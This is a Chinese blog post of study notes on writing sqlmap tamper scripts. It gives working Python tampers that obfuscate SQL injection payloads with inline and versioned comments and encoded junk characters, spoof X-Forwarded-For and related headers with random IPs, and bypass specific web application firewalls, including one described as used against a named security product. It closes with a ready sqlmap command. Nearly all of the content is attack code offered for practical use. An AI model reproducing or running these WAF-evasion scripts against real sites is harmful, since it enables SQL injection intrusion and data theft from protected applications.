编写sqlmap temper的学习笔记

0x00 最小的 temper 案例

# sqlmap/tamper/escapequotes.py

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    return payload.replace("'", "\\'").replace('"', '\\"')

0x01 temper 的结构详细说明

1.priority 变量:

定义脚本的优先级,用于有多个tamper脚本的情况

2.dependencies 函数:

声明该脚本适用和不适用的范围,可以为空

该函数中可以有singleTimeWarnMessage()函数

def dependencies():
    singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP or ASP.NET web applications" % os.path.basename(__file__).split(".")[0])

singleTimeWarnMessage()用于在控制台中打印出警告信息

3.tamper 函数:

是整个脚本的主体,主要用于修改原本的payloadtamper函数的使用案例如下:

1)针对union被过滤的情况

trim($id,union)
def tamper(payload, **kwargs):
    return payload.replace('union','uniounionn')

使用方法:保存为replaceunion.py,存到sqlmap/tamper/下,执行的时候带上--tamper=replaceunion的参数,就可以绕过该过滤规则。

2)通过unicode编码关键字中的字符来绕过waf

def tamper(payload, **kwargs):
    payload = payload.lower()
    payload = payload.replace('u', 'u0075')
    payload = payload.replace('o', 'u006f')
    payload = payload.replace('i', 'u0069')
    payload = payload.replace(''', 'u0027')
    payload = payload.replace('"', 'u0022')
    payload = payload.replace(' ', 'u0020')
    payload = payload.replace('s', 'u0073')
    payload = payload.replace('#', 'u0023')
    payload = payload.replace('>', 'u003e')
    payload = payload.replace('<', 'u003c')
    payload = payload.replace('-', 'u002d')
    payload = payload.replace('=', 'u003d')
    return payload

4.kwargs 参数:

在官方提供的tamper中,使用了kwargs参数的脚本如下:

vanrish.py

def tamper(payload, **kwargs):
    headers = kwargs.get("headers", {})
    headers["X-originating-IP"] = "127.0.0.1"
    return payload

这个脚本是为了更改X-originating-IP来绕waf

xforwardedfor.py

def randomIP():
    numbers = []

    while not numbers or numbers[0] in (10, 172, 192):
        numbers = sample(xrange(1, 255), 4)

    return '.'.join(str(_) for _ in numbers)

def tamper(payload, **kwargs):
    """
    Append a fake HTTP header 'X-Forwarded-For'
    """

    headers = kwargs.get("headers", {})
    headers["X-Forwarded-For"] = randomIP()
    headers["X-Client-Ip"] = randomIP()
    headers["X-Real-Ip"] = randomIP()
    return payload

这个脚本是为了改http头的参数X-Forwarded-For X-Client-Ip X-Real-Ip来绕waf

恰当的使用或者编写特定的tamper脚本能够省去很多不必要的麻烦。

且编写tamper时几乎所有的sqlmap内置的函数、变量都可以使用。

__priority__=PRIORITY.LOWER来源于sqlmap/lib/core/enums.py

#!/usr/bin/env python2
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
class PRIORITY:
    LOWEST = -100
    LOWER = -50
    LOW = -10
    NORMAL = 0
    HIGH = 10
    HIGHER = 50
    HIGHEST = 100

0x02 temper 修改的案例

在实战中,遇到了拦截sleep()函数,可以利用/*!50000sleep(5)*/绕过拦截。在没有合适的tamper脚本的情况下,挑选了下面的脚本进行修改:

halfversionedmorekeywords.py

这个脚本所实现的效果是替换空格和关键字为/*!0,可将脚本的第45行:

return match.group().replace(word, "/*!0%s" % word)

修改为:

return match.group().replace(word, "/*!50000%s*/" % word)

0x03 temper 编写的案例

替换空格绕过过滤规则

#!/usr/bin/env python
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with plus ('/*|%20--%20|*/')

    >>> tamper('SELECT id FROM users')
    'SELECT/*|%20--%20|*/id/*|%20--%20|*/FROM/*|%20--%20|*/users'
    """
    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += "/*|%20--%20|*/"
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                retVal += "/*|%20--%20|*/"
                continue

            retVal += payload[i]

    return retVal

某次 SQL 注入绕过

#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def tamper(payload, **kwargs):
    if payload:
		payload=payload.replace("/*//*/","+")
		payload=payload.replace("--","--")
		payload=payload.replace("%0e","%0a")
		payload=payload.replace("UNION","union--%0e%0a")
		payload=payload.replace("DATABASE()","DATABASE/*!()*/")
		payload=payload.replace("SELECT","--%0e%0a")
		payload=payload.replace("FROM","--%0e%0a")	
		print payload       
    return payload

某卫士的一次绕过

from lib.core.enums import PRIORITY 
from lib.core.settings import UNICODE_ENCODING 
__priority__ = PRIORITY.LOW 

def dependencies():   
    pass
    
def tamper(payload, **kwargs):
   """   Replaces keywords   >>> tamper('UNION SELECT id FROM users')   '1 union%23!@%23$%%5e%26%2a()%60~%0a/*!12345select*/ NULL,/*!12345CONCAT*/(0x7170706271,IFNULL(/*!12345CASt(*/COUNT(*) AS CHAR),0x20),0x7171786b71),NULL/*!%23!@%23$%%5e%26%2a()%60~%0afrOm*/INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e AND table_schema=0x73716c696e6a656374--   
   """   
    if payload:       
        payload=payload.replace("UNION ALL SELECT","union%23!@%23$%%5e%26%2a()%60~%0a/*!12345select*/")       
        payload=payload.replace("UNION SELECT","union%23!@%23$%%5e%26%2a()%60~%0a/*!12345select*/")       
        payload=payload.replace(" FROM ","/*!%23!@%23$%%5e%26%2a()%60~%0afrOm*/")       
        payload=payload.replace("CONCAT","/*!12345CONCAT*/")       
        payload=payload.replace("CAST(","/*!12345CAST(*/")       
        payload=payload.replace("CASE","/*!12345CASE*/")       
        payload=payload.replace("DATABASE()","database/**/()") 
    return payload 

0x04 打造属于自己的 temper

加入随机header头的处理,以一次实战经历为例,发现某waf不拦截带/*//*/ SQL语句,编写代码如下:

from lib.core.enums import PRIORITY
from random import sample
__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def randomIP():
    numbers = []

    while not numbers or numbers[0] in (10, 172, 192):
        numbers = sample(xrange(1, 255), 4)

    return '.'.join(str(_) for _ in numbers)


def tamper(payload, **kwargs):
    
    headers = kwargs.get("headers", {})
    headers["X-Forwarded-For"] = randomIP()
    headers["X-Client-Ip"] = randomIP()
    headers["X-Real-Ip"] = randomIP()
    headers["X-originating-IP"] = "127.0.0.1"
    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += "/*//*/ "
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote

            elif payload[i] == " " and not doublequote and not quote:
                retVal += "/*//*/ "
                continue

            retVal += payload[i]

    return retVal

sqlmap/tamper目录下保存为ancolin.py进行使用:

python sqlmap.py -u xxx --level 5 --risk 3 --tamper=ancolin 

0x05 Refer

https://www.jianshu.com/p/c24727dd1f7a
https://sobug.com/article/detail/2

文章目录

2 条评论

发表评论

*